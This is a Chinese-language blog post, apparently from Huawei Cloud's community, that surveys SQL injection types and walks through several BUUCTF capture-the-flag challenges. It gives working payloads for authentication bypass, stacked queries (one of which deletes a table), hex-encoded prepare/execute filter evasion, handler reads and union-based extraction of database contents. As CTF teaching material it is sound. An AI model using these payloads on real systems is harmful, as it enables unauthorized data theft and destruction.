CTF Web SQL注入专项整理(持续更新中)

举报
白猫a 发表于 2023/11/03 15:31:08 2023/11/03
【摘要】 深入了解SQL注入 什么是SQL注入?SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(百度百科)SQL注入是Web安全常见的一种攻击手段,其主要存在于数据库中,用来窃取重要信...

深入了解SQL注入

什么是SQL注入?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(百度百科)
SQL注入是Web安全常见的一种攻击手段,其主要存在于数据库中,用来窃取重要信息,在输入框、搜索框、登录窗口、交互式等等都存在注入可能;是否是输入函数无法判断其输入的合法性并将其作为PHP等语言代码来执行,或整体逻辑出现缺陷,或关键字关键命令关键字符没过滤全,包括编码加密命令是否进行了过滤,这些种种环节的防护不严都将导致SQL注入的成功。(本人拙见)

SQL注入按照注入点类型来分可以分为常见的三大类:

  1. 数字型注入:当输入的参数为整型的时候,如果存在注入漏洞,则可以认为是数字型注入。

select * from BaiMao where id='1'

  1. 字符型注入:和数字型恰恰相反,当输入的参数为字符串的时候,如果存在注入漏洞,则可以认为是字符型注入,不同的一点是,数字型注入参数需要闭合,而字符型注入参数不需要闭合。

select * from BaiMao where id=' 1' '

  1. 搜索型注入:网站具有搜索功能,但开发人员忽略了对变量、关键字、命令的过滤,从而导致了注入可能,也可以称为文本框注入。

常见注入手法分类:

基于从服务器接收到的响应
基于报错的SQL注入
联合查询注入
堆查询注入
SQL盲注
基于布尔SQL盲注
基于时间SQL盲注
基于报错SQL盲注
基于程度和顺序的注入
一阶注入
二阶注入
一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;二阶注入类似存
储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间
接的对 WEB 产生危害,这样的就被称为是二阶注入.
基于注入点的位置
通关用户输入的单表域注射
通过cookie注射
通关服务器变量注射(基于头部信息的注入)
此处参考博客:https://blog.csdn.net/m0_46571665/article/details/124946824?spm=1001.2014.3001.5506

万能密码实验原理

用户进行登陆验证的时候,就会对其用户名和密码参数进行验证,而验证的过程就是网站需要查询数据库,而查询数据库的本质就是后台要执行SQL语句。
咱们可以测试一下,原来后台执行的数据库查询操作(SQL语句):
select username,password from BaiMao where username='用户名' and password='密码'
由于网站后台在进行数据库查询的时候没有对单引号进行过滤,或者说是过滤不严,当输入用户名【admin】和万能密码【1’ or ‘1’='1】的时候,执行的SQL语句为:
select username,password from BaiMao where username='admin' and password=' 1' or '1'='1 '
再者SQL语句中逻辑运算符具有优先级,【=】>【and】>【or】,且适用传递性,因此这个SQL语句在后台进行解析时,分成了两句,(【注意】1’时字符型注入,所以可以只看这 or ‘1’=‘1)
select username,password from BaiMao where username='admin' and password=' 1 '和【’ 1 '】,两句bool(布尔类型)值进行逻辑or运算,恒为true,SQL查询语句的结果就为true,这就意味着认证成功,成功登录到系统当中。

【例题:】buuctf [极客大挑战 2019]EasySQL 1

网页环境
image.png
可以看到是一个登录窗口,题目已经说了是SQL注入
首先试一下弱口令,admin,123
image.png
提示用户名密码错了
既然是第一道题,那应该是很简单了
判断是数字型还是字符型

  1. 数字型

and 1=1 回显正常
and 1=2 返回异常,存在数字型注入可能

  1. 字符型

1 返回正常
1' 返回异常,存在字符型注入可能
经过测试,发现username和password两个参数都可以分别注入和同时注入
构造payload
url?usename=1'&password=1'
image.png
回显报错,存在SQL字符型注入
小试一下万能密码注入
构造payload
url?usename=1' or '1'='1&password=1' or '1'='1
回显flag
image.png

原文链接:https://blog.csdn.net/m0_73734159/article/details/133827153?spm=1001.2014.3001.5501

字符型注入和堆叠查询手法原理

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
参考:https://blog.csdn.net/qq_26406447/article/details/90643951

【例题】buuctf[强网杯 2019]随便注 1

第一种解法 堆叠注入

网页环境
image.png
判断是否是字符型注入
1'
image.png
判断是否存在关键字过滤
select
image.png
联合查询被过滤,只能用堆叠注入了
查看有几个字段
1' order by 2#
image.png
正常回显
1' order by 3#image.png
回显报错,可以看出只有两个字段
查看所有数据库
1'; show databases;
image.png
查看所有数据表
1'; show tables;
image.png
爆words数据表的字段
1';show columns from words;#image.png
爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)
1';show columns from1919810931114514;#
image.png
可以看到这两个表words表有两个字段,而另一个只有一个字段
后台SQL查询语句应该是:
select * from words where id=
所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。
构造payload:
1';rename table words to BaiMao;rename table1919810931114514to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

rename修改表名
alter修改已知的列
add增加
int整数类型
unsigned无符号类型
not null- 指示某列不能存储 NULL 值。
primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
auto_increment-自动赋值,默认从1开始。

成功回显flag:
image.png
注意没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。

第二种解法 编码逃逸 绕过滤

由于select被过滤,考虑使用编码进行绕过
使用select查询就很简单了
构造payload
select *from where1919810931114514`` (注意这里使用反引号把这个数字括起来,md编辑器打不上去)
*号查询数据表里面的全部内容,这就是爆出flag的原理
进行16进制编码加密
73656c656374202a2066726f6d20603139313938313039333131313435313460
最终payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
  • 0x就是把后面的编码格式转换成十六进制编码格式
  • 那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。

参考:https://blog.csdn.net/qq_44657899/article/details/10323914

回显flag:
image.png

第三种解法 handler代替select

select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。
构造payload:
1'; handler1919810931114514open asa; handleraread next;#

handler代替select,以一行一行显示内容
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数

上传payload,回显flag:
image.png
原文链接:https://blog.csdn.net/m0_73734159/article/details/134049744?spm=1001.2014.3001.5501

数字型注入和堆叠查询手法原理

【例题】[SUCTF 2019]EasySQL 1

题目环境:
image.png

把你的旗子给我,我会告诉你旗子是不是对的。

判断注入类型
1'
回显结果
image.png

不是字符型SQL注入

1
回显结果
image.png

数字型SQL注入

查所有数据库,采用堆叠注入
1;show databases;
image.png
查看所有数据表
1;show tables;
image.png
尝试爆Flag数据表的字段
1;show columns from Flag;
image.png

回显错误

到这里,大佬们直接猜出了后端语句
select $_GET['query'] || flag from Flag
我直接好家伙,大佬果然是大佬
||就是SQL里面的逻辑或运算符

第一种解法 添加新列绕过逻辑或运算符:

***,1**
那么传到后端语句就是
select *,1 || flag from Flag
这里我问了下文心一言,看完我也理解了

这段SQL代码的含义是:从Flag表中选择所有的列,以及由列flag的值与数字1进行连接生成的新列。
具体来说:
select *:选择所有的列。
1 || flag:这是SQL中的字符串连接操作。它将数字1与flag列的值进行连接。对于每一行,都会生成一个新的字符串,这个字符串是数字1后跟着flag列的值。如果flag列的值本身是一个字符串,那么这两个字符串将被连接起来。
from Flag:从Flag表中选择数据。
因此,这段代码的输出结果将包含Flag表的所有列,以及一个名为“1”的列,该列的值是flag列的值与数字1的连接。

大致意思,就是查看数据表Flag的所有列内容,然后添加了一个由列flag的值与数字1进行连接生成的新列,这个新的列名就叫1,那么猜测或者说就是flag被过滤,我们还能查到flag列的值,因为flag的值复制到了新的列1。
*,0
image.png
可以明显看到新的列名0和flag的值连接起来了
*,1
image.png
对吧,新列名为1
*,2
image.png
还是为1,所有还可以看出Flag数据表的列只能是两个

第二种解法 改逻辑或运算符为字符串连接符:

既然题目内置的是逻辑或运算符,那咱们直接把它改成字符串连接符不就好了嘛(滑稽)
使用set方法定义sql_mode参数设置,PIPES_AS_CONCAT字符串连接符select 1查询第一列
1;set sql_mode=PIPES_AS_CONCAT;select 1
回显结果:
image.png
可以明显看出解法1和解法2的回显结果有明显不同
原文链接:https://blog.csdn.net/m0_73734159/article/details/134142483?spm=1001.2014.3001.5501

字符型注入和联合查询手法原理(常见注入手法)

【例题】[极客大挑战 2019]LoveSQL 1

题目环境:
image.png

判断注入类型

是否为数字型注入

admin
1

回显结果
image.png

是否为字符型注入

admin
1'

回显结果
image.png

判断注入手法类型

使用堆叠注入
采用密码参数进行注入

爆数据库
1'; show database();#
回显结果
image.png

这里猜测注入语句某字段被过滤,或者是’;'被过滤导致不能堆叠注入

爆字段数
1';order by 4#
回显结果
image.png

报错
抛弃堆叠注入

步入正题

1' order by 4#
回显结果
image.png

成功,但是不存在第4列
同时验证了猜想不能使用堆叠注入

继续判断列数
1' order by 3#
image.png

可知列数只有3列

爆数据库
使用联合查询
1' union select 1,2,database()#
image.png
爆数据表
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
回显结果
image.png

爆出两个表
开始爆数据表的字段
按照先后顺序把,先爆第一个

爆geekuser数据表的字段
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
回显结果
image.png

字段:id、username、password

爆geekuser数据表的所有内容
1' union select 1,database(),group_concat(id,username,password) from geekuser#
回显结果
image.png

无flag

转手数据表l0ve1ysq1
步骤和数据表geekuser一样,这里直接爆数据表l0ve1ysq1的flag值
1' union select 1,database(),group_concat(password) from l0ve1ysq1#
回显结果
image.png
image.png
得出flag:
flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}
原文链接:https://blog.csdn.net/m0_73734159/article/details/134185235?spm=1001.2014.3001.5501

原文地址:https://blog.csdn.net/m0_73734159/article/details/134111972?spm=1001.2014.3001.5502

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。